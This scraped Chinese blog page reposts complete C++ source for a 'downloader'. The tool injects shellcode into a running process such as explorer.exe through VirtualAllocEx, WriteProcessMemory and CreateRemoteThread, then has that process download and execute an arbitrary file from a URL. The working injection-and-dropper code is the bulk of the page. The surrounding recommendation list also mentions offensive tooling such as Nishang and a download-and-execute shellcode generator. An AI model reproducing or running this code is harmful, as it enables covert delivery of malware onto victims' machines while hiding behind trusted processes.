Download and execute file under any process

ESP32智能洗衣机改造:从硬件选型到固件开发与远程控制 物联网与嵌入式技术正加速渗透进传统家电,让原本功能固定的设备获得远程控制与状态感知能力。以ESP32为代表的高性价比微控制器,凭借内置Wi-Fi、蓝牙和双核处理能力,成为智能硬件原型开发与改造的理想选择。在嵌入式系统设计中,状态机是组织复杂控制逻辑的核心方法,通过非阻塞式任务调度,可以同时处理传感器采集、继电器动作和网络通信,保证系统稳定可靠。这类方案广泛应用于智能家居改造、工业设备监控、远程故障诊断等场景,能够显著提升设备可用性与用户体验。本文围绕ESP32在洗衣机改造中的完整实践,涵盖硬件架构、固件设计 阅读详情
 

while the internet was out for 3 days, so I wrote this... it will download and execute any file under any process name (perhaps explorer.exe or IEXPLORE.EXE).

/*
Downloader
Makes a process download a specific file

Notes
-> Allocates two memory regions in the external process
a) Space for four strings (and the null termination bytes)
-> "URLMON.DLL"
-> "open"
-> The URL to download from
-> The path to save to

b) The calls to neccecary functions to download and execute the file

-> Builds and writes the specific instructions to download and execute the file
-> Creates a thread starting at the address of the allocated memory
-> Free's memory once download is done and executed

Usage example
CExternalDownload* Download = new CExternalDownload( );
Download->InitDownload( );
Download->DownloadFileFromProcess( Download->GetProcessPID( "explorer.exe" ),
"http://www.site.com/file.txt",
"c://file.txt" );
delete Download;

Resulting ASM in external process once written
PUSH 0DD0000 ; ASCII "URLMON.DLL"
CALL kernel32.LoadLibraryA
PUSH 0
PUSH 0
PUSH 0DD002D ; ASCII "c:/file.exe"
PUSH 0DD0010 ; ASCII "http://www.site.com/file.exe"
PUSH 0
CALL URLMON.URLDownloadToFileA
PUSH 5
PUSH 0
PUSH 0
PUSH 0DD002D ; ASCII "c:/file.exe"
PUSH 0DD000B ; ASCII "open"
PUSH 0
CALL SHELL32.ShellExecuteA
RETN

Coded by a59
06/06/08
*/
#include <iostream>
#include <windows.h>
#include <tlhelp32.h>

struct SNeededCalls
{
unsigned long LoadLibraryC;
unsigned long DownloadFileC;
unsigned long ShellExecuteC;
}NeededCalls;

class CExternalDownload
{
public:
// (Con/de)structors
CExternalDownload( );
~CExternalDownload( );
// Initialization
bool InitDownload( );
// Add data to calls buffer
void AddByte( unsigned char Byte );
void AddWord( unsigned short Word );
void AddDword( unsigned long Dword );
// Add ASM instructions to calls buffer
void Push( unsigned long Data );
void Call( unsigned long Function );
void WriteRetn( );
// Writes Functions in allocated space
void WriteLoadLibrary( char* szFile );
void WriteURLDownloadToFile( char* szUrl, char* szPath );
void WriteShellExecute( char* Operation, char* FileName, char* Parameters, int IsShown );
// Calculate and build each buffer
void BuildCallBuffer( int UrlLength );
void BuildStringBuffer( char* szUrl, char* szPath );
// Download
bool DownloadFileFromProcess( unsigned long Pid, char* szUrl, char* szPath );
// Get PID
unsigned long GetProcessPID( char* szFile );
protected:
unsigned char Calls[ 128 ];
char StringsAligned[ 512 ];
unsigned long MyStrings, MyCalls;
int CallSize, StringSize;
bool Initialized;
SNeededCalls NeededCalls;
};

CExternalDownload::CExternalDownload( )
{
CallSize = 0;
Initialized = false;

ZeroMemory( Calls, 128 );
ZeroMemory( StringsAligned, 512 );
};

CExternalDownload::~CExternalDownload( )
{
};

bool CExternalDownload::InitDownload( )
{
HMODULE Kernel32, Urlmon, Shell32;

Kernel32 = GetModuleHandle( "KERNEL32.DLL" );
Urlmon = LoadLibrary( "URLMON.DLL" );
Shell32 = LoadLibrary( "SHELL32.DLL" );

NeededCalls.LoadLibraryC = (unsigned long)GetProcAddress( Kernel32, "LoadLibraryA" );
NeededCalls.DownloadFileC = (unsigned long)GetProcAddress( Urlmon, "URLDownloadToFileA" );
NeededCalls.ShellExecuteC = (unsigned long)GetProcAddress( Shell32, "ShellExecuteA" );

if( !NeededCalls.LoadLibraryC || !NeededCalls.DownloadFileC || !NeededCalls.ShellExecuteC )
return false;

Initialized = true;

return true;
};

void CExternalDownload::AddByte( unsigned char Byte )
{
*(unsigned char *)(Calls + CallSize) = Byte;
CallSize += 1;
};

void CExternalDownload::AddWord( unsigned short Word )
{
*(unsigned short *)(Calls + CallSize) = Word;
CallSize += 2;
};

void CExternalDownload::AddDword( unsigned long Dword )
{
*(unsigned long *)(Calls + CallSize) = Dword;
CallSize += 4;
};

void CExternalDownload::Push( unsigned long Data )
{
if( Data <= 0xFF )
{
AddByte( 0x6A );
AddByte( Data );
} else {
AddByte( 0x68 );
AddDword( Data );
}
};

void CExternalDownload::Call( unsigned long Function )
{
AddByte( 0xE8 );
AddDword( Function - ( MyCalls + CallSize - 1 ) - 5 );
};

void CExternalDownload::WriteRetn( )
{
AddByte( 0xC3 );
};

void CExternalDownload::WriteLoadLibrary( char* szFile )
{
Push( (unsigned long)szFile );

Call( NeededCalls.LoadLibraryC );
};

void CExternalDownload::WriteURLDownloadToFile( char* szUrl, char* szPath )
{
Push( 0 );
Push( 0 );
Push( (unsigned long)szPath );
Push( (unsigned long)szUrl );
Push( 0 );

Call( NeededCalls.DownloadFileC );
};

void CExternalDownload::WriteShellExecute( char* Operation, char* FileName, char* Parameters, int IsShown )
{
Push( IsShown );
Push( 0 );
Push( (unsigned long)Parameters );
Push( (unsigned long)FileName );
Push( (unsigned long)Operation );
Push( 0 );

Call( NeededCalls.ShellExecuteC );
};

void CExternalDownload::BuildCallBuffer( int UrlLength )
{
char* szUrlmonDLL = (char *)MyStrings;
char* szOpen = (char *)MyStrings + 11;
char* szUrl = (char *)MyStrings + 16;
char* szPath = (char *)MyStrings + UrlLength + 17;

WriteLoadLibrary( szUrlmonDLL );
WriteURLDownloadToFile( szUrl, szPath );
WriteShellExecute( szOpen, szPath, 0, SW_SHOW );
WriteRetn( );
};

void CExternalDownload::BuildStringBuffer( char* szUrl, char* szPath )
{
/* Buffer will be ZeroMemory'd before this call */
unsigned long DllAddress = (unsigned long)StringsAligned;
unsigned long OpenAddress = (unsigned long)StringsAligned + 11;
unsigned long UrlAddress = (unsigned long)StringsAligned + 16;
unsigned long PathAddress = (unsigned long)StringsAligned + 17 + strlen( szUrl );

strcpy( (char *)DllAddress, "URLMON.DLL" );
strcpy( (char *)OpenAddress, "open" );
strcpy( (char *)UrlAddress, szUrl );
strcpy( (char *)PathAddress, szPath );
};

bool CExternalDownload::DownloadFileFromProcess( unsigned long Pid, char* szUrl, char* szPath )
{
HANDLE hProcess, ExternalThread;

if( !Initialized )
return false;

if( ( hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, Pid ) ) == 0 )
return false;

StringSize = 11 + 5 + strlen( szUrl ) + strlen( szPath ) + 2;

MyStrings = (unsigned long)VirtualAllocEx( hProcess, 0, StringSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
MyCalls = (unsigned long)VirtualAllocEx( hProcess, 0, 75, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

if( !MyStrings || !MyCalls )
{
CloseHandle( hProcess );
return false;
}

BuildStringBuffer( szUrl, szPath );
BuildCallBuffer( strlen( szUrl ) );

if( !WriteProcessMemory( hProcess, (void *)MyCalls, Calls, 75, 0 ) )
{
CloseHandle( hProcess );
return false;
}

if( !WriteProcessMemory( hProcess, (void *)MyStrings, StringsAligned, StringSize, 0 ) )
{
CloseHandle( hProcess );
return false;
}

ExternalThread = CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)MyCalls, 0, 0, 0 );

if( !ExternalThread )
{
CloseHandle( hProcess );
return false;
}

WaitForSingleObject( ExternalThread, INFINITE );

VirtualFreeEx( hProcess, (void *)MyCalls, 75, MEM_DECOMMIT );
VirtualFreeEx( hProcess, (void *)MyStrings, StringSize, MEM_DECOMMIT );

CloseHandle( hProcess );
return true;
};

unsigned long CExternalDownload::GetProcessPID( char* szFile )
{
PROCESSENTRY32 pe32;
HANDLE hProcess;

pe32.dwSize = sizeof( PROCESSENTRY32 );

hProcess = CreateToolhelp32Snapshot( 2, 0 );

if( !hProcess )
return 0;

if( !Process32First( hProcess, &pe32 ) )
return 0;

do
{
if( stricmp( szFile, pe32.szExeFile ) == 0 )
{
return pe32.th32ProcessID;
}
}while( Process32Next( hProcess, &pe32 ) );

return 0;
};

int main( )
{
CExternalDownload* Download;
char szUrl[ 512 ], szPath[ MAX_PATH ], szFile[ 128 ];
unsigned long Pid;

std::cout << "Enter the URL to download from: ";
std::cin.getline( szUrl, 512 );

std::cout << "Enter the path to save to: ";
std::cin.getline( szPath, MAX_PATH );

std::cout << "Enter the process to download from: ";
std::cin.getline( szFile, 128 );

Download = new CExternalDownload( );

if( !Download->InitDownload( ) )
{
std::cout << "Error locating needed function addresses/n";
return 0;
}

Pid = Download->GetProcessPID( szFile );

if( Pid == 0 )
{
std::cout << "Process not running/n";
} else {
if( Download->DownloadFileFromProcess( Pid, szUrl, szPath ) )
{
std::cout << "Started download from " << szUrl << " to " << szPath << " as " << szFile << "(" << Pid << ")" << std::endl;
} else {
std::cout << "Error starting download/n";
}
}

delete Download;

return 0;
};

Shell 入门指南:从基础语法到实战脚本 Shell是用户与操作系统交互的命令行解释器,常见如Bash、Zsh。通过编写Shell脚本可实现自动化任务,如文件处理、日志清理等。脚本使用变量、条件判断、循环、函数及重定向功能,结合set -euo pipefail提升健壮性,配合shellcheck静态检查与注释优化,能高效编写可靠脚本。掌握基础语法后,从日常任务入手,逐步构建实用自动化工具。 阅读详情

相关推荐

【信息科学与工程学】计算机科学与自动化 第二百三十三篇 凤凰架构02

① Firecracker 为每个 microVM 提供极简设备模型:virtio-net, virtio-blk, serial console。:① BB84:Alice 随机选择基矢(+ 或 ×)发送单光子,Bob 随机测量基矢,比对后保留一致位的子集作为原始密钥。:密度 1 EB/mm³;:① Parquet 文件:行组(Row Group)→ 列块(Column Chunk)→ 页(Page)。

weixin_49199313的博客 137

nishang的介绍与使用

0x01前言 Nishang是一个PowerShell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段,本文主要介绍如何使用Nishang的各种姿势获取一个shell。 项目地址 :https://github.com/samratashok/nishang 0x02 Powershell交互式Shel...

weixin_30315723的博客 597

【信息科学与工程学】计算机科学与自动化 第二百三十三篇 凤凰架构01

编号类型领域系统软件/硬件或系统集成方案及系统架构模块子模块函数名称/算法名称算法的数学分析及计算机体系架构及数据结构与算法详细设计及参数列表及数值范围设计关联知识1共识算法分布式基石状态机复制架构:Proposer/Acceptor/Learner 多节点角色模型,基于操作转移(Operation Transfer)分布式共识PaxosPaxos 协议(Prepare/Promise/Accept/Accepted 两阶段)数学基础:多数派(Quorum)投票,基于鸽巢原理保证 W+R>N 时读写集合必有

weixin_49199313的博客 267

<转载>Win x86-64 - Download & execute (Generator)

#Title: Obfuscated Shellcode Windows x86/x64 Download And Execute [Use PowerShell] - Generator #length: Dynamic ! depend on url and filename #Date: 20 January 2015 #Author: Ali Razmjoo #...

weixin_30846599的博客 160

准确率、召回率、f1指标计算的区别

准确率是模型正确预测的样本占总样本的比例。

stephen147的博客 1415

LiteOS | 基于LiteOS的智慧农业案例实验分享

分享一个基于小熊派+LiteOS+华为云的案例实验(智慧农业)。 实验框图 相关模块简介 1、STM32L431RCT6 2、LiteOS LiteOS是华为开发的轻量级实时操作系统: LiteOS源码GitHub仓库链接: https://github.com/LiteOS/LiteOS 其源码一级目录结构如下: 其内核包括任务管理、内存管理、时间管理、通信机制、中断管理、队列管...

嵌入式大杂烩 5992

《内网安全攻防:渗透测试实战指南》读书笔记(三):隐藏通信隧道技术

本篇继续阅读学习《内网安全攻防:渗透测试实战指南》,是第三章隐藏通信隧道技术,详细介绍了IPv6隧道、ICMP隧道、HTTPS隧道、SSH隧道、DNS隧道等加密隧道的使用方法,并对常见的SOCKS代理工具及内网上传/下载方法进行了解说

闵行小鱼塘 5324

2025年度工业级3D全景相机技术解析选型参考:国产品牌的技术突围与市场格局

本文分析了工业级3D相机在智慧城市和建筑数字化中的应用。通过对比国内外主流设备的技术参数和应用场景,发现国产品牌如众趣科技在性价比和本地化服务方面具有优势,尤其适合大型空间扫描项目;而国际品牌如Faro、Leica则在精度和可靠性上保持领先。建议根据项目需求(如测距范围、精度要求、预算)进行设备选型,综合考虑扫描效率、数据处理能力和系统兼容性。国产品牌已在国内大型基建项目中展现出竞争力,国际品牌则更适合高精度逆向工程和国际化项目。

gxdtgsy的博客 1075

Nishang:权限提升

1.下载执行 Download_Execute 是 Nishang 中的下载执行脚本,常用于下载文本文件,然后将其转换为可执行文件执行 利用 Nishang 中的 exetotext.ps1 脚本将 Metasploit 生成的木马端 msf.exe 更改为文本文件 msf.txt ExetoText 2.Bypass UAC Invoke-PsUACme 模块使用了来自 UACME 项目的DLL来绕过UAC,作用是绕过UAC,比较全面 ...

weixin_46104215的博客 507

C#读取CAD文件(dwg/dxf)并处理

项目要求识别CAD图纸(图纸内容与现实事物比例是1:1)中的内容,并提取出一些关键信息。这里的CAD图纸是指CAD文件,包含多种格式,dwg/dxf/dwf/stl/pdf等等。识别其中内容,主要指文件中的图元信息(也叫实体Entity),指线段、圆弧、矩形等图形元素。得到图元基础信息(比如长度、坐标、粗细)后,进一步做处理(如得到交点、得到线段间间隔、圆弧与线段切点等)。听起来有点难,因为作为软件工程师,对CAD相关事物并不了解,它是未知的;

三千幻想乡 1万+

MT6771 Android13 背光曲线调试与光感数据校准实战

本文详细介绍了MT6771平台在Android 13系统上进行背光曲线调试与光感数据校准的实战经验。针对高亮度环境下背光误调节问题,深入分析了光感数据上报机制,并提供了驱动层配置修改、背光曲线优化及常见问题解决方案,帮助开发者快速定位并解决类似问题。

moon9的博客 288

Download Execute File Under Any Process

 Downloader  Makes a process download a specific file  Notes      -> Allocates two memory regions in the external process        a) Space for four strings (and the null termination bytes)            -

990

uniapp - 获取设备麦克风权限+麦克风设备列表,用户可选择切换麦克风设备功能,选择麦克风采集设备后点击录制音频外部声音+可随时暂停/继续录音+记录音频录制时长(支持在线播放试听或下载MP3文件)

uniapp获取麦克风设备列表,uniapp录制声音,Uniapp获取麦克风权限,uniapp苹果ios安卓app获取麦克风设备列表,Uniapp H5获取浏览器麦克风并实现录音,Uniapp实现麦克风权限管理与音频录制全流程,uni-app实战案例:实现H5页面麦克风权限获取与录音功能,uni-app音频录制,uniapp麦克风授权窗口,uniapp获取iOS麦克风权限,实现前端录音并播放,把音频传给后端接口处理,获取麦克风并实现录音功能,前端获取/切换麦克风播放采集音频和采集音量大小,前端调用麦克风实现

🏆 前端领域优质创作者 2984

CANN/hcomm HCCL-VM虚拟执行环境

HCCL-VM is a virtual execution environment for high-performance collective communication targeting Huawei Ascend NPU cards. This tool enables the development and functional verification of HCCL collec

gitblog_00459的博客 1092

【永磁同步电机】simulink永磁同步电机PMSM矢量控制【含Matlab源码 7372期】

simulink永磁同步电机PMSM矢量控制 完整的代码,方可运行;可提供运行操作视频!适合小白!

订阅付费专栏Matlab(奶茶价版),可赠送奶茶价版付费专栏指定代码1份; 1029

海洋浮游生物识海洋浮游生物识别系统:基于YOLOv10的显微图像自动检测与UI别系统:基于海洋浮游生物识别系统:基于YOLOv10的显微图像自动检测与UI展示YOLOv10的显微图像自动检测与UI展示

本文介绍了如何利用YOLOv10模型进行海洋浮游生物的自动识别,旨在提高传统显微镜观测的效率与准确性。研究背景强调了浮游生物在海洋生态系统中的重要性,并指出传统方法的局限性。数据集选用WHOI-Plankton,包含70多种浮游生物的20000多张带标签图像。文章详细描述了YOLOv10模型的安装、数据集配置、训练与测试步骤,并提供了基于PyQt5的图形化检测界面代码。结果显示,模型在精度、召回率和mAP@0.5等指标上表现优异,推理速度达到约30 FPS。最后,文章提出了部署建议和未来优化方向,如集成摄像

YOLO 377

昇腾CANN/GE编码红线

### 1. Prohibit Hardcoding Sensitive Information and Using Prohibited Sensitive Words 1. Hardcoding plaintext passwords, keys, and other high-level sensitive data in source code. 2. Having deprecated

gitblog_00724的博客 361

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

Unity Android log view(Android Debug Bridge)

Android Debug Bridge

蛰伏--当你不够强大时,就不要放弃努力 4161

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

Deep Agents 框架-基础篇

DeepAgents是LangChain生态中的高级API,构建于LangChain核心智能体模块和LangGraph运行时之上,旨在简化复杂智能体的开发。它提供任务规划、文件系统管理、子智能体生成等内置功能,适用于长期运行的多步骤任务。然而,DeepAgents并非独立框架,仍需依赖LangChain和LangGraph,学习成本较高。文档详细介绍了其核心能力、与LangChain/LangGraph的差异、配置方法及最佳实践,强调其在处理复杂任务时的优势,但也指出工程化选择需谨慎考虑其依赖关系和实际需求

yanghuashuiyue的专栏 448

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

【Embedded Development】【Zephyr】【Windows】基于STM32的Zephyr移植

指定板子后,需要参考默认的配置的固定关键字,去匹配指定的boards中的板子中的stm32设备树的aliases的led0的green_led_4(对应到stm32设备树的led0 = &green_led_4;然后,进行自定义修改引脚,这个创建boards文件方法是一种,也可以修改nrf54h20dk_nrf54h20_cpuppr.overlay中的gpio,编译时再指定使用板子原始版本的stm32f4_disco,也可以达到一样的效果。仓库,然后SDK下载在zephyr_project下。

qq_73648789的博客 579

juju reactive charm (by quqi99)

sudo snap install charm --classic mkdir -p /bak/work/charms/layers export JUJU_REPOSITORY=/bak/work/charms export LAYER_PATH=$JUJU_REPOSITORY/layers cd $LAYER_PATH charm create simple cd simple sudo ...

技术并艺术着 8741

Linux 进程控制:fork、exit、wait、exec 与手写一个 mini shell

讲清进程控制的四个动作:fork 创建(内核四件事与写时拷贝)、exit/_exit/return 终止与 8 位退出码、wait/waitpid 等待与 status 位图、exec 七接口与唯一系统调用 execve,最后用这些零件拼出一个支持 cd/export/echo 的 mini shell,并解释环境变量两张表与 putenv 浅拷贝坑。附速查表与 14 道自测题。

BIII__的博客 191

第一章 Shell 概述

本文介绍了Shell编程的基础知识,包括Shell的起源与发展、常见Shell类型及查看方式,阐述了Shell作为命令解释器连接用户与操作系统内核的作用。强调其作为解释型脚本语言的优势,适用于系统管理自动化任务。内容涵盖Shell脚本基本结构、注释规范、编写风格、执行方法及常用命令(如echo、printf、history、管道等),并讲解了命令执行顺序、退出状态码等核心概念,为初学者提供系统学习路径。

sbjdhjd的博客 307

DeepAgents框架构建一个带有严格安全护栏的本地 Shell 执行环境。

核心亮点在于:通过精心设计的 System Prompt(系统提示词)强制约束大模型的行为,防止其通过操作系统底层的 Shell 命令绕过框架的虚拟沙箱,从而确保本地物理磁盘的绝对安全。DeepAgents 框架接入 DeepSeek 模型并构建一个带有严格安全护栏的本地 Shell 执行环境。

qq_42092076的博客 74

miniconda3设置为shell终端默认激活环境

将以下内容添加至 ~/.bashrc,路径需根据实际修改(如 /home/jason/miniconda3): # >>>conda initialize >>> __conda_setup="$('/home/jason/miniconda3/bin/conda' 'shell.bash' 'hook' 2>/dev/null)" if [ $? -eq 0 ]; then eval "$__conda_setup" else if [ -f "/home/jason/miniconda3/etc/pro

huangjiazhi_的博客 208

Prism Region

Region 就是界面上的一个"占位坑":Shell(主窗口)只负责划分区域,具体放哪个 View 由各模块在运行时决定。这样 Shell 和 View 之间互不引用,实现解耦。在 Shell 的 XAML 里给容器控件起一个区域名: Prism 默认支持三类控件: 控件 行为 ContentControl 同一时间只显示一个 View ItemsControl 同时显示多个 View Selector(TabControl、ListBox 等) 多个 View,其中一个被选中

Iron 203
上一篇: vbs编程点滴
下一篇: ring3 & ring0 通用InlineHook代码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值